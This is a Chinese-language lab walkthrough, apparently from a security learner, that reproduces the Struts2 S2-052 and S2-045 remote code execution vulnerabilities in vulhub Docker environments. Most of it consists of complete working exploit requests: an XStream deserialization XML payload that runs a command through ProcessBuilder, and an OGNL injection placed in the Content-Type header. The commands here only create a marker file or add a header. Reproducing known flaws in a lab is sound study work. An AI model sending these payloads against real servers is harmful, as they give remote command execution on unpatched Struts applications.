S2-052远程代码执行漏洞和S2-045远程代码执行漏洞复现

1.复现S2-052远程代码执行漏洞

(1) cd vulhub/struts2/s2-052 切换目录。

(2) docker-compose up -d 启动

(3) http://192.168.80.157:8080/orders.xhtml

(4)burpsuite抓包。

(5)send to repeater，修改数据包：

POST /orders/3/edit HTTP/1.1

Host: 192.168.80.157:8080

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/xml

Content-Length: 2415

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        <string>touch</string>

                        <string>/tmp/success</string>

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>foo</name>

                  </filter>

                  <next class="string">foo</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer></ibuffer>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

(6) docker exec -it 8c9 /bin/bash进入容器。

(7)ls /tmp 查看。

2. 复现S2-045远程代码执行漏洞

(1) cd vulhub/struts2/s2-045 切换目录。

(2) docker-compose up -d 启动。

(3) 访问：http://192.168.80.160:8080/

(4)burpsuite抓包。

(5)send to repeater，输入：

POST / HTTP/1.1

Host: 192.168.80.160:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: JSESSIONID=nclicj18zgbp1wp1si9u3ro84

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data